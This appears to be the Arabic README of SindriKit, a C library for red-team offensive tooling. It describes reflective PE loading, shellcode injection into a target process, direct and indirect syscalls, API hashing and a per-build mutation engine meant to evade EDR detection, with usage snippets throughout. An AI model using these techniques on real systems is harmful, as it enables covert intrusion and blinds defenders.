
SindriKit v1.5.0
مكتبة C أساسية لبناء قدرات هجومية موثوقة تشغيليًا
SindriKit
التطوير الهجومي يستحق بنية أفضل.
مكتبة C لبناء قدرات هجومية.
المفهوم الأساسي
تشفّر معظم الأدوات الهجومية آليات التنفيذ داخل منطق التقنية نفسها. لا يكتفي المُحمِّل الانعكاسي بتعيين صورة ذاكرة؛ بل يعيّنها باستخدام سلسلة محددة ومشفّرة من استدعاءات VirtualAlloc أو NTAPI الأصلية. عندما يبدأ EDR بمراقبة تلك السلسلة المحددة، تُجبر على إعادة كتابة الأداة بالكامل.
يحل SindriKit هذه المشكلة عبر فرض فصل الاهتمامات باستخدام جداول تجريد الواجهات:
- منطق التقنية: (مثل المحمّلات، وعمليات الحقن، والمصححات) يتعامل مع تتبع الحالة وتنسيق البيانات. لا يملك أي معرفة بكيفية تخصيص الذاكرة أو إنشاء الخيوط.
- آليات التنفيذ: (مثل Win32 API، وNTAPI الأصلية، واستدعاءات النظام المباشرة) توجد داخل جداول API مستقلة وتُحقن في التقنية وقت التشغيل.
بنقل آليات التنفيذ إلى مؤشرات دوال وقت التشغيل، يمكنك تبديل استراتيجيتك بالكامل من استدعاءات Win32 إلى استدعاءات نظام مباشرة خام بسطر واحد من التعليمات البرمجية — دون تغيير منطق تنفيذ حمولتك.
بنية التصميم
- ملفات تنفيذ مفصولة: بدّل السلوكيات الأساسية للتعامل مع الذاكرة والوحدات والخيوط عبر جداول مؤشرات دوال دون كسر التقنية المستدعية.
- تراجع متتالي لاستدعاءات النظام: محللات SSN قابلة للتوصيل (
snd_syscall_resolve_ssn_scan,snd_syscall_resolve_ssn_sort) مع سلسلة أولويات — بدّل الاستراتيجيات أو وسّعها دون لمس كود النطاق. - تعتيم وقت الترجمة: يمكن تبديل خوارزميات تجزئة السلاسل وAPI (DJB2, FNV1A) عالميًا عبر CMake. وتعيد الترجمة عشوائيًا توليد البذرة العامة لتغيير التوقيعات الثابتة تلقائيًا.
- محرك الطفرات: يتيح تعدد أشكال عميقًا عبر
SND_MORPH. يولّد توقيعات ثنائية فريدة في كل بناء بحقن مسندات معتمة متقلبة في كود C، وعمليات حسابية/أوامر NOP مكافئة وظيفيًا في تجميعات Assembly، وتشويش التخطيط الذاكري للبنى الأساسية. - بنيات الإصدار: طبقة صامتة تجرّد كل السلاسل التشخيصية ومراجع الملفات وإطارات التتبع من الثنائي النهائي، مما يقلص بصمتك الثابتة إلى أوليات مجردة.
دمج SindriKit
cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
سطران فقط ليرث أداتك كل قدرات SindriKit: تحليل PE، وحل استدعاءات النظام، والتحميل الانعكاسي...
المحرك
طبقة تجريد API
┌────────────────────────────────────────────────────────────────────────────┐
│ ANY OFFENSIVE INTENT │
│ Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ SINDRIKIT API ABSTRACTION LAYER │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ [ future tables ] -> thread · object · ... │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Win32 Profile │ Native Profile │ Bring Your Own Mechanic │
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exotic │
│ LoadLibraryA │ PEB Walk + EAT │ Operator-defined functions │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
عمليًا، هذا يعني أن كل نطاق يتبع نفس العقد:
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
خط أنابيب استدعاءات النظام المتتالي
يتعامل SindriKit مع حل استدعاءات النظام كآلية قابلة للحقن، مكدسًا الاستراتيجيات بترتيب الأولوية. يمر المحرك عبر الاستراتيجيات حتى تنجح إحداها:
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
المستدعي مفصول عن حل SSN — بدّل بين استدعاءات النظام المباشرة وغير المباشرة دون تعديل كود النطاق. يقفز الاستدعاء غير المباشر إلى أداة NTDLL شرعية، مما يُبقي عنوان عودة استدعاء النظام داخل ntdll.dll.
مرونة الخوارزميات وقت الترجمة
تُزال جميع أسماء API وسلاسل الوحدات من الثنائي النهائي وقت الترجمة عبر متغير CMake واحد:
set(SND_HASH_ALGO "FNV1A") # or DJB2 recomputes everything automatically
set(SND_RANDOMIZE_SEED ON) # generates a fresh 32-bit seed on next configure
تُحسب كل تجزئة ببذرة مولّدة عشوائيًا (عند تفعيل SND_RANDOMIZE_SEED=ON). تتغير البصمة الثابتة تمامًا بين عمليات الترجمة دون لمس سطر واحد من C.
FFI ديناميكي مدرك للبنية
جسر تجميع MASM مخصص لاستدعاء دوال عشوائية وقت التشغيل. تتبع بنيات x64 اصطلاح استدعاء Microsoft x64 بدقة (مساحة الظل، ومواضع وسائط السجلات، ومحاذاة المكدس). بينما تدفع بنيات x86 الوسائط بترتيب عكسي مع دعم أهداف cdecl وstdcall.
محلل PE مع فحص الحدود
محلل PE32/PE32+ موحد مع علامة is_mapped تتعامل بشكل صحيح مع كل من الصور الأولية على القرص والعروض المعيّنة في الذاكرة. يُتحقق من كل وصول إلى دليل بيانات مقابل حدود المخزن المؤقت المتعقبة قبل إلغاء الإشارة. ويدعم حل التصدير سلاسل إعادة التوجيه حتى عمق 4 مع بحث قائم على التجزئة.
اختُبر ضد:
- أكثر من 40 مجموعة اختبار أساسي تستهدف الحالات الحدية من ملفات EXEs وDLLs والوسائط الخاطئة والتصديرات المفقودة واستدعاءات TLS عبر x86 وx64.
- أكثر من 100 طفرة PE ديناميكية يولّدها وحدة
pe_mutator: أسماء أقسام مُصفَّرة، وتجاوزات أعداد صحيحة، وحدودe_lfanewغير صالحة، واستيرادات مشوّهة. - مجموعة Corkami الكاملة: تحميل نظيف للعينات الصالحة، ورفض نظيف للعينات التالفة دون انهيار عبر 99% من العينات.
سياقات النطاق المتتبعة للحالة
تُدار كل عملية هجومية عبر بنية سياق منفصلة مع تعداد مراحل. يمكن إيقاف العمليات بين المراحل لتعتيم النوم أو النشر المرحلي، واستئنافها بشكل نظيف، وفحصها لتحديد نقطة الفشل الدقيقة وصولًا إلى النظام الفرعي والسبب.
فلسفة تصميم API
قم بتهيئة خط استدعاءات النظام مرة واحدة (النمط النموذجي):
PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
المستدعي مفصول عن حل SSN — بدّل بين استدعاءات النظام المباشرة وغير المباشرة دون تعديل كود النطاق. يقفز الاستدعاء غير المباشر إلى أداة NTDLL شرعية، مما يُبقي عنوان عودة استدعاء النظام داخل ntdll.dll.
بدّل ملف التنفيذ بتعيين واحد:
ctx.mem_api = &snd_mem_win; // diagnostic
ctx.mem_api = &snd_mem_nt; // NT stubs via PEB + EAT
ctx.mem_api = &snd_mem_sys; // direct syscalls (pipeline required)
يتبع حل الوحدات نفس النمط (snd_mod_win مقابل snd_mod_nt). لا توجد خلفية وحدات مدعومة باستدعاءات النظام — تستخدم الاستيرادات PEB walk + EAT حتى في ملفات _sys الكاملة.
طبقات البناء
طبقة التصحيح — SND_ENABLE_DEBUG=ON
للتطوير المحلي. تتوسع snd_status_t لتشمل file وline ومخزن سلاسل سياقي بحجم 128 بايت. تصدر SND_ERR_CTX وSND_DEBUG_PRINT انتقالات آلة الحالة، وقيم حقول PE المُحلَّلة، ونتائج حل استدعاءات النظام. استخدم SND_USE_PRINTF=ON لتوجيه المخرجات إلى stdout بدلًا من وحدة التحكم في التصحيح.
الطبقة الصامتة — SND_ENABLE_DEBUG=OFF
التكوين القياسي للنشر للثنائيات التشغيلية. تُحذف كل سلسلة تشخيصية ومرجع ملف ورقم سطر تمامًا وقت الترجمة. تنهار snd_status_t إلى عددين صحيحين فقط. لا شيء غير ذلك.
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_USE_DEFAULTS ON CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
add_subdirectory(vendor/SindriKit)
target_link_libraries(my_tool PRIVATE sindri::engine)
التوثيق
مرجع كامل تحت docs/:
- البدء — CMake، وطبقات البناء، وتهيئة DI، وأول سير عمل محمّل/حقن
- البنية — حقن التبعيات، وآلات الحالة، ونظام الحالة
- الأوليات — الذاكرة، والوحدات، والعملية، والتعيين، واستدعاءات النظام، والتنفيذ (FFI)
- المحمّلات — خط أنابيب PE الانعكاسي
- الحقن — حقن shellcode وPE الكلاسيكي
- المحللات — النطاقات الفرعية PE وenv (PEB)
- المشترك — مساعدات بدون CRT، ومخازن مؤقتة، وتجزئة، وحالة
- الأمثلة وإثباتات المفهوم —
loader_winapi,loader_nowinapi,inject_pe,inject_shell,heavens_gate - الاختبارات — مُشغّل التكامل، ومُطفِّر PE
مخطط: نطاق المراوغة.
إخلاء المسؤولية
صُمم SindriKit للأغراض التعليمية والبحثية وعمليات الفريق الأحمر المصرح بها فقط. للحصول على إخلاء المسؤولية القانوني الكامل ومعلومات حول اعتبارات OpSec، راجع سياسة الأمان.
الترخيص